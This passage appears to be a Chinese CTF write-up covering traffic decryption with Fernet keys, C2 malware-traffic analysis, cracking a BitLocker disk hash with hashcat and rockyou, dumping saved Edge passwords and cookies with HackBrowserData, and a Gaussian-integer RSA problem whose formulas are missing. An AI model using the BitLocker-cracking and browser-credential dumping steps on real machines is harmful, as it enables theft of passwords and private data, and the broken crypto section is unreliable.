Z51hcVuQmGPGS28b/ONmeAP4QazQUEZzJ0dYYYRd59opwmaCbWgcB2ZqcA==....A......'
Key_Brute(data)
解密之后的流量为:
数据分析
fernet
加密密钥:0smJ2LvvnQonNICFpjOF8CeuOcMIuYLNVbCDucWSVaw=
加密密钥:qkwNBcGK7ZcOrlKKcflivlyiatdAsb2u_sH_-IB5R_Y=
加密密钥:Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=
加密密钥:eBp92fUD7Lk_6qXR2pIjFt3sBH-lW0ul830S-sO6QCQ=
加密密钥:Z-Ur0AYZQ9-nNO_O6j5B1slASR-YR2tsssycqHNc_so=
加密密钥:Aj0S2EgsjOFd_JRsOjcBB_5-fZ1H-9tZVF67-qOWCbw=
加密密钥:n6IcHjmQUNOd6TxOkV6WRigEPUZFkO2TIu8cS6MRyrE=
根据残留的py文件编写解密脚本
from cryptography.fernet import Fernet
def decrypt(message, key):
de = Fernet(key)
return de.decrypt(message).decode()
key = b'Aj0S2EgsjOFd_JRsOjcBB_5-fZ1H-9tZVF67-qOWCbw='
en_message = b"gAAAAABkGd8XcSlgJAe3AbvJZE2ZGlcIusUkEWW6pnSHAGjaOonQrDh2cCmk4wkszBZfoqhsEZLvoPdcnsz9QADAwV9rDyhrzvgM8-lw2wwsa56_oaEWJli1T5IMmORjSedtQjI1wm0Y"
de_message = decrypt(en_message, key)
print(f"{decrypted_message}")
#张三,男,340303202304025872,13333333333
#md5(张三_男_340303202304025872_13333333333)=826767ee8c24f97f92e46028825d83c6
将三段放入对应的脚本中解密
data:image/png;base64,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
处理图片
C2流量分析
打开流量包,可以看见下载恶意文件的流量:
我们可以将恶意样本提取下来,放在本地通过Powershell的Get-FileHash来计算其Hash值:
Payload在kill k4.exe后,执行的命令是
Payload中需要Base64解码的cmd命令一共有3个
区块链威胁分析
将APP上传至VT即可看见Team Identifier:
通过Team Identifier去搜索相关信息,找到如下报告,也就锁定了目标APT组织:
CISA发布了 Lazarus 的TraderTraitor针对加密货币公司的行动
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-108a
挑战区
被隐藏的密码
使用 DiskGenius 打开对应磁盘
发现被BitLocker加密了,尝试用hashcat解密
# bitlocker2john -i attachment.vhd
Encrypted device attachment.vhd opened, size 2048MB
Signature found at 0x10003
Version: 8
Invalid version, looking for a signature with valid version...
Signature found at 0x22abb000
Version: 2 (Windows 7 or later)
VMK entry found at 0x22abb0b7
VMK encrypted with Recovery Password found at 0x22abb0d8
Salt: 714871bbeff0de9c53553a6a7626e96c
Searching AES-CCM from 0x22abb0f4
Trying offset 0x22abb187....
VMK encrypted with AES-CCM!!
RP Nonce: b05b5b45f43dd90106000000
RP MAC: 27d2d71fefc272350cda1056d2ab5476
RP VMK: 543996c5896643a2f63fce7df2a9052d964a41794677389926c2a81f4bf7cdf22e04df181aa9d03a5b3d7461
VMK entry found at 0x22abb243
VMK encrypted with User Password found at 22abb264
VMK encrypted with AES-CCM
UP Nonce: c071b381174cd90111000000
UP MAC: 372aedad6fac0c3f703e84338a5a18ad
UP VMK: 5a33c5cf37f42239b75f7f16ce3a2dc51665f2d479bcbf2434407ff2dfd171e76fe49f939c526591aa9e3da1
Signature found at 0x22acb000
Version: 2 (Windows 7 or later)
VMK entry found at 0x22acb0b7
VMK entry found at 0x22acb243
Signature found at 0x22adb000
Version: 2 (Windows 7 or later)
VMK entry found at 0x22adb0b7
VMK entry found at 0x22adb243
User Password hash:
$bitlocker$0$16$a0e9d607f646e3eb71d12babcb2b04c9$1048576$12$c071b381174cd90111000000$60$372aedad6fac0c3f703e84338a5a18ad5a33c5cf37f42239b75f7f16ce3a2dc51665f2d479bcbf2434407ff2dfd171e76fe49f939c526591aa9e3da1
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$16$a0e9d607f646e3eb71d12babcb2b04c9$1048576$12$c071b381174cd90111000000$60$372aedad6fac0c3f703e84338a5a18ad5a33c5cf37f42239b75f7f16ce3a2dc51665f2d479bcbf2434407ff2dfd171e76fe49f939c526591aa9e3da1
Hash type: Recovery Password fast attack
$bitlocker$2$16$714871bbeff0de9c53553a6a7626e96c$1048576$12$b05b5b45f43dd90106000000$60$27d2d71fefc272350cda1056d2ab5476543996c5896643a2f63fce7df2a9052d964a41794677389926c2a81f4bf7cdf22e04df181aa9d03a5b3d7461
Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$16$714871bbeff0de9c53553a6a7626e96c$1048576$12$b05b5b45f43dd90106000000$60$27d2d71fefc272350cda1056d2ab5476543996c5896643a2f63fce7df2a9052d964a41794677389926c2a81f4bf7cdf22e04df181aa9d03a5b3d7461
采用第二个hash值 $bitlocker$1$16$a0e9d607f646e3eb71d12babcb2b04c9$1048576$12$c071b381174cd90111000000$60$372aedad6fac0c3f703e84338a5a18ad5a33c5cf37f42239b75f7f16ce3a2dc51665f2d479bcbf2434407ff2dfd171e76fe49f939c526591aa9e3da1
,Write it to hash.txt
# hashcat -h | grep BitLocker
22100 | BitLocker | Full-Disk Encryption (FDE)
# hashcat -m 22100 hash.txt /usr/share/wordlists/rockyou.txt
得到密码为 laracroft.
解锁之后,把appdata文件夹dump到本地
发现secret.txt,给出对应提示
创建win10虚拟机,并将对应文件夹进行替换(AppDataLocalMicrosoftEdge)
采用 HackBrowserData(https://github.com/moonD4rk/HackBrowserData) 工具来得到对应信息.
E:>hack-browser-data-windows-64bit.exe -b all -f json --dir results -zip
[NOTICE] [browser.go:51,pickChromium] find browser Microsoft Edge success
[NOTICE] [browser.go:53,pickChromium] find browser microsoft_edge_default success
[NOTICE] [browser.go:47,pickChromium] find browser Brave failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Chrome failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Chromium failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Chrome Beta failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Opera failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser OperaGX failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Vivaldi failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser CocCoc failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser Yandex failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser 360speed failed, profile folder does not exist
[NOTICE] [browser.go:47,pickChromium] find browser QQ failed, profile folder does not exist
[NOTICE] [browser.go:91,pickFirefox] find browser firefox Firefox failed, profile folder does not exist
[NOTICE] [browsingdata.go:71,Output] output to file results/microsoft_edge_default_password.json success
[NOTICE] [browsingdata.go:71,Output] output to file results/microsoft_edge_default_cookie.json success
[NOTICE] [browsingdata.go:71,Output] output to file results/microsoft_edge_default_localstorage.json success
[NOTICE] [browsingdata.go:71,Output] output to file results/microsoft_edge_default_history.json success
[NOTICE] [main.go:68,func1] compress success
发现pastebin相关url 以及 password.
打开即可获得flag.(pwd is encrypt by base64)
Stranger
-
题目代码给出了一个类似于RSA的密码系统,但是是自己定义在复数上的,或者我们可以叫他Gaussian Integers based RSA.
-
此题第一个难点是如何解密,对于RSA系统,我们解密需要求关于函数的逆元,而此处的Gaussian Integers的函数如何定义是第一个难点,在这篇论文(https://www.jstor.org/stable/2322785?origin=JSTOR-pdf&seq=1)中我们可以发现,对于一个元素mod ,,对于本题,.
-
第二个难点是如何利用畸形的。此处的,所以对于来说,,稍作变换可得:
我们就可以在上构造出一个多项式:
